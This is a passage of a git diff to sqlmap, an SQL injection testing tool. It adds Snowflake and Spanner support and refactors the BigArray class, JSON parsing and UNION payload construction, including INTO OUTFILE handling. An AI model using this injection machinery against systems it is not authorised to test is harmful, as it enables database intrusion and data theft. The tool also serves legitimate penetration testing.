index 2e8d1b9d3..69d515f12 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -437,7 +437,7 @@ def start():
continue
if conf.rParam and kb.originalPage:
- kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+ kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list))
for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage):
name, _ = match.groups()
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 2448bedfc..23e7bb441 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -41,64 +41,40 @@ from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
-from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.access import AccessMap
-from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.cache import CacheMap
-from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn
from plugins.dbms.clickhouse import ClickHouseMap
-from plugins.dbms.cratedb.connector import Connector as CrateDBConn
from plugins.dbms.cratedb import CrateDBMap
-from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
-from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.db2 import DB2Map
-from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.derby import DerbyMap
-from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
-from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.h2 import H2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.informix.connector import Connector as InformixConn
from plugins.dbms.informix import InformixMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.mckoi.connector import Connector as MckoiConn
from plugins.dbms.mckoi import MckoiMap
-from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
from plugins.dbms.mimersql import MimerSQLMap
-from plugins.dbms.monetdb.connector import Connector as MonetDBConn
from plugins.dbms.monetdb import MonetDBMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.oracle import OracleMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.presto.connector import Connector as PrestoConn
from plugins.dbms.presto import PrestoMap
-from plugins.dbms.raima.connector import Connector as RaimaConn
from plugins.dbms.raima import RaimaMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.vertica.connector import Connector as VerticaConn
from plugins.dbms.vertica import VerticaMap
-from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
from plugins.dbms.virtuoso import VirtuosoMap
+from plugins.dbms.snowflake import SnowflakeMap
+from plugins.dbms.spanner import SpannerMap
def setHandler():
"""
@@ -107,34 +83,36 @@ def setHandler():
"""
items = [
- (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
- (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
- (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
- (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
- (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
- (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
- (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
- (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
- (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
- (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
- (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
- (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
- (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
- (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
- (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
- (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
- (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
- (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
- (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
- (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
- (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn),
- (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
- (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
- (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
- (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
- (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
- (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
- (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
+ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
+ (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
+ (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"),
+ (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"),
+ (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"),
+ (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"),
+ (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"),
+ (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"),
+ (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"),
+ (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"),
+ (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"),
+ (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"),
+ (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"),
+ (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"),
+ (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"),
+ (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"),
+ (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"),
+ (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"),
+ (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"),
+ (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"),
+ (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"),
+ (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"),
+ (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"),
+ (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"),
+ (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"),
+ (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"),
+ (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
+ (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
+ (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
+ (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
@@ -142,7 +120,7 @@ def setHandler():
items.remove(_)
items.insert(0, _)
- for dbms, aliases, Handler, Connector in items:
+ for dbms, aliases, Handler, connector in items:
if conf.forceDbms:
if conf.forceDbms.lower() not in aliases:
continue
@@ -154,9 +132,12 @@ def setHandler():
continue
handler = Handler()
- conf.dbmsConnector = Connector()
+ conf.dbmsConnector = None
if conf.direct:
+ _ = __import__(connector, fromlist=['Connector'])
+ conf.dbmsConnector = _.Connector()
+
exception = None
dialect = DBMS_DICT[dbms][3]
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
index ba25c56a2..bcac84163 100644
--- a/lib/core/__init__.py
+++ b/lib/core/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/agent.py b/lib/core/agent.py
index a9034f744..aacdf5789 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -119,7 +119,10 @@ class Agent(object):
if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0]
else:
- origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ try:
+ origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ except IndexError:
+ pass
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ',', '&'):
if char in origValue:
@@ -407,6 +410,9 @@ class Agent(object):
"""
if payload:
+ if Backend.isDbms(DBMS.SPANNER):
+ payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
+
for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
payload = payload.replace(match.group(0), _)
@@ -721,7 +727,7 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -744,7 +750,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
- topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
+ topNum = fieldsSelectTop.group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
@@ -883,14 +889,16 @@ class Agent(object):
query = query[len("TOP %s " % topNum):]
unionQuery += "TOP %s " % topNum
- intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
+ intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
- if intoRegExp:
- intoRegExp = intoRegExp.group(1)
- query = query[:query.index(intoRegExp)]
+ if intoFileRegExp:
+ infoFile = intoFileRegExp.group(1)
+ query = query[:query.index(infoFile)]
position = 0
char = NULL
+ else:
+ infoFile = None
for element in xrange(0, count):
if element > 0:
@@ -909,8 +917,8 @@ class Agent(object):
if fromTable and not unionQuery.endswith(fromTable):
unionQuery += fromTable
- if intoRegExp:
- unionQuery += intoRegExp
+ if infoFile:
+ unionQuery += infoFile
if multipleUnions:
unionQuery += " UNION ALL SELECT "
@@ -1040,7 +1048,7 @@ class Agent(object):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE):
+ elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py
index fc3695435..7e33524b8 100644
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -12,6 +12,7 @@ except:
import itertools
import os
+import shutil
import sys
import tempfile
import threading
@@ -28,6 +29,13 @@ try:
except TypeError:
DEFAULT_SIZE_OF = 16
+try:
+ # Python 2: basestring covers str and unicode
+ STRING_TYPES = (basestring,)
+except NameError:
+ # Python 3: str and bytes are separate
+ STRING_TYPES = (str, bytes)
+
def _size_of(instance):
"""
Returns total size of a given instance / object (in bytes)
@@ -35,10 +43,12 @@ def _size_of(instance):
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
- if isinstance(instance, dict):
+ if isinstance(instance, STRING_TYPES):
+ return retval
+ elif isinstance(instance, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
- elif hasattr(instance, "__iter__"):
- retval += sum(_size_of(_) for _ in instance if _ != instance)
+ elif isinstance(instance, (list, tuple, set, frozenset)):
+ retval += sum(_size_of(_) for _ in instance if _ is not instance)
return retval
@@ -56,21 +66,42 @@ class BigArray(list):
"""
List-like class used for storing large amounts of data (disk cached)
- >>> _ = BigArray(xrange(100000))
+ >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024)
>>> _[20] = 0
+ >>> _[-1] = 999
>>> _[99999]
- 99999
+ 999
+ >>> _[100000]
+ Traceback (most recent call last):
+ ...
+ IndexError: BigArray index out of range
>>> _ += [0]
+ >>> sum(_)
+ 4999850980
+ >>> _[len(_) // 2] = 17
+ >>> sum(_)
+ 4999800997
>>> _[100000]
0
- >>> _ = _ + [1]
+ >>> _[0] = [None]
+ >>> _.index(0)
+ 20
+ >>> import pickle; __ = pickle.loads(pickle.dumps(_))
+ >>> __.append(1)
+ >>> len(_)
+ 100001
+ >>> _ = __
>>> _[-1]
1
+ >>> _.pop()
+ 1
+ >>> len(_)
+ 100001
>>> len([_ for _ in BigArray(xrange(100000))])
100000
"""
- def __init__(self, items=None):
+ def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE):
self.chunks = [[]]
self.chunk_length = sys.maxsize
self.cache = None
@@ -78,6 +109,7 @@ class BigArray(list):
self._lock = threading.Lock()
self._os_remove = os.remove
self._size_counter = 0
+ self._chunk_size = chunk_size
for item in (items or []):
self.append(item)
@@ -102,7 +134,7 @@ class BigArray(list):
if self.chunk_length == sys.maxsize:
self._size_counter += _size_of(value)
- if self._size_counter >= BIGARRAY_CHUNK_SIZE:
+ if self._size_counter >= self._chunk_size:
self.chunk_length = len(self.chunks[-1])
self._size_counter = None
@@ -120,8 +152,11 @@ class BigArray(list):
if not self.chunks[-1] and len(self.chunks) > 1:
self.chunks.pop()
try:
- with open(self.chunks[-1], "rb") as f:
+ filename = self.chunks[-1]
+ with open(filename, "rb") as f:
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+ self._os_remove(filename)
+ self.filenames.discard(filename)
except IOError as ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex
@@ -134,15 +169,23 @@ class BigArray(list):
if self[index] == value:
return index
- return ValueError, "%s is not in list" % value
+ raise ValueError("%s is not in list" % value)
+
+ def __reduce__(self):
+ return (self.__class__, (), self.__getstate__())
def close(self):
- while self.filenames:
- filename = self.filenames.pop()
- try:
- self._os_remove(filename)
- except OSError:
- pass
+ with self._lock:
+ while self.filenames:
+ filename = self.filenames.pop()
+ try:
+ self._os_remove(filename)
+ except OSError:
+ pass
+ self.chunks = [[]]
+ self.cache = None
+ self.chunk_length = getattr(sys, "maxsize", None)
+ self._size_counter = 0
def __del__(self):
self.close()
@@ -151,8 +194,7 @@ class BigArray(list):
try:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
- os.close(handle)
- with open(filename, "w+b") as f:
+ with os.fdopen(handle, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError) as ex:
@@ -181,51 +223,117 @@ class BigArray(list):
raise SqlmapSystemException(errMsg)
def __getstate__(self):
- return self.chunks, self.filenames
+ if self.cache and self.cache.dirty:
+ filename = self._dump(self.cache.data)
+ self.chunks[self.cache.index] = filename
+ self.cache.dirty = False
+
+ return self.chunks, self.filenames, self.chunk_length
def __setstate__(self, state):
self.__init__()
- self.chunks, self.filenames = state
+ chunks, filenames, self.chunk_length = state
+
+ file_mapping = {}
+ self.filenames = set()
+ self.chunks = []
+
+ for filename in filenames:
+ if not os.path.exists(filename):
+ continue
+
+ try:
+ handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
+ os.close(handle)
+ shutil.copyfile(filename, new_filename)
+ self.filenames.add(new_filename)
+ file_mapping[filename] = new_filename
+ except (OSError, IOError):
+ pass
+
+ for chunk in chunks:
+ if isinstance(chunk, STRING_TYPES):
+ if chunk in file_mapping:
+ self.chunks.append(file_mapping[chunk])
+ else:
+ errMsg = "exception occurred while restoring BigArray chunk "
+ errMsg += "from file '%s'" % chunk
+ raise SqlmapSystemException(errMsg)
+ else:
+ self.chunks.append(chunk)
def __getitem__(self, y):
- length = len(self)
- if length == 0:
- raise IndexError("BigArray index out of range")
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
- while y < 0:
- y += length
+ if y < 0:
+ y += length
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
- if isinstance(chunk, list):
- return chunk[offset]
- else:
- self._checkcache(index)
- return self.cache.data[offset]
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
+
+ if isinstance(chunk, list):
+ return chunk[offset]
+ else:
+ self._checkcache(index)
+ return self.cache.data[offset]
def __setitem__(self, y, value):
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
- if isinstance(chunk, list):
- chunk[offset] = value
- else:
- self._checkcache(index)
- self.cache.data[offset] = value
- self.cache.dirty = True
+ if y < 0:
+ y += length
+
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
+
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
+
+ if isinstance(chunk, list):
+ chunk[offset] = value
+ else:
+ self._checkcache(index)
+ self.cache.data[offset] = value
+ self.cache.dirty = True
def __repr__(self):
return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__())
def __iter__(self):
- for i in xrange(len(self)):
- try:
- yield self[i]
- except IndexError:
- break
+ with self._lock:
+ chunks = list(self.chunks)
+ cache_index = self.cache.index if isinstance(self.cache, Cache) else None
+ cache_data = self.cache.data if isinstance(self.cache, Cache) else None
+
+ for idx, chunk in enumerate(chunks):
+ if isinstance(chunk, list):
+ for item in chunk:
+ yield item
+ else:
+ try:
+ if cache_index == idx and cache_data is not None:
+ data = cache_data
+ else:
+ with open(chunk, "rb") as f:
+ data = pickle.loads(zlib.decompress(f.read()))
+ except Exception as ex:
+ errMsg = "exception occurred while retrieving data "
+ errMsg += "from a temporary file ('%s')" % ex
+ raise SqlmapSystemException(errMsg)
+
+ for item in data:
+ yield item
def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])
diff --git a/lib/core/common.py b/lib/core/common.py
index 3bb5023f0..a28abcb4f 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -13,6 +13,7 @@ import contextlib
import copy
import functools
import getpass
+import hmac
import hashlib
import inspect
import io
@@ -47,6 +48,7 @@ from extra.beep.beep import beep
from extra.cloak.cloak import decloak
from lib.core.bigarray import BigArray
from lib.core.compat import cmp
+from lib.core.compat import codecs_open
from lib.core.compat import LooseVersion
from lib.core.compat import round
from lib.core.compat import xrange
@@ -104,7 +106,7 @@ from lib.core.exception import SqlmapValueException
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
from lib.core.settings import BANNER
-from lib.core.settings import BOLD_PATTERNS
+from lib.core.settings import BOLD_PATTERNS_REGEX
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
@@ -129,7 +131,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
from lib.core.settings import FORM_SEARCH_REGEX
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
from lib.core.settings import GIT_PAGE
-from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
+from lib.core.settings import GITHUB_REPORT_PAT_TOKEN
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
@@ -170,6 +172,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
+from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SENSITIVE_OPTIONS
from lib.core.settings import STDIN_PIPE_DASH
@@ -461,11 +464,11 @@ class Backend(object):
@staticmethod
def setArch():
msg = "what is the back-end database management system architecture?"
- msg += "\n[1] 32-bit (default)"
- msg += "\n[2] 64-bit"
+ msg += "\n[1] 32-bit"
+ msg += "\n[2] 64-bit (default)"
while True:
- choice = readInput(msg, default='1')
+ choice = readInput(msg, default='2')
if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2):
kb.arch = 32 if int(choice) == 1 else 64
@@ -958,7 +961,7 @@ def boldifyMessage(message, istty=None):
retVal = message
- if any(_ in message for _ in BOLD_PATTERNS):
+ if re.search(BOLD_PATTERNS_REGEX, message):
retVal = setColor(message, bold=True, istty=istty)
return retVal
@@ -1409,7 +1412,7 @@ def parseJson(content):
"""
This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content
- >>> parseJson("{'id':1}")["id"] == 1
+ >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1
True
>>> parseJson('{"id":1}')["id"] == 1
True
@@ -1427,10 +1430,10 @@ def parseJson(content):
if quote == '"':
retVal = json.loads(content)
elif quote == "'":
- content = content.replace('"', '\\"')
- content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER)
- content = content.replace("'", '"')
- content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'")
+ def _(match):
+ return '"%s"' % match.group(1).replace('"', '\\"')
+
+ content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content)
retVal = json.loads(content)
except:
pass
@@ -1475,10 +1478,18 @@ def cleanQuery(query):
"""
retVal = query
+ queryLower = query.lower()
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
candidate = sqlStatement.replace("(", "").replace(")", "").strip()
+
+ # OPTIMIZATION: Skip expensive regex compilation/search if the keyword
+ # isn't even present in the string. This makes the function O(K) instead of O(N*K)
+ # for the expensive regex part (where K is num keywords).
+ if not candidate or candidate.lower() not in queryLower:
+ continue
+
queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query)
if queryMatch and "sys_exec" not in query:
@@ -1983,11 +1994,15 @@ def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
retVal, _ = s.getsockname()
- s.close()
except:
debugMsg = "there was an error in opening socket "
debugMsg += "connection toward '%s'" % conf.hostname
logger.debug(debugMsg)
+ finally:
+ try:
+ s.close()
+ except socket.error:
+ pass
return retVal
@@ -2063,7 +2078,7 @@ def getCharset(charsetType=None):
# Digits
elif charsetType == CHARSET_TYPE.DIGITS:
- asciiTbl.extend((0, 9))
+ asciiTbl.extend(xrange(0, 10))
asciiTbl.extend(xrange(47, 58))
# Hexadecimal
@@ -2463,7 +2478,7 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal
-def readCachedFileContent(filename, mode="rb"):
+def readCachedFileContent(filename, mode='r'):
"""
Cached reading of file content (avoiding multiple same file reading)
@@ -2921,22 +2936,15 @@ def findMultipartPostBoundary(post):
"""
retVal = None
-
- done = set()
- candidates = []
+ counts = {}
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
- _ = match.group(1).strip().strip('-')
+ boundary = match.group(1).strip().strip('-')
+ counts[boundary] = counts.get(boundary, 0) + 1
- if _ in done:
- continue
- else:
- candidates.append((post.count(_), _))
- done.add(_)
-
- if candidates:
- candidates.sort(key=lambda _: _[0], reverse=True)
- retVal = candidates[0][1]
+ if counts:
+ sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True)
+ retVal = sorted_boundaries[0][0]
return retVal
@@ -3337,14 +3345,14 @@ def filterNone(values):
"""
Emulates filterNone([...]) functionality
- >>> filterNone([1, 2, "", None, 3])
- [1, 2, 3]
+ >>> filterNone([1, 2, "", None, 3, 0])
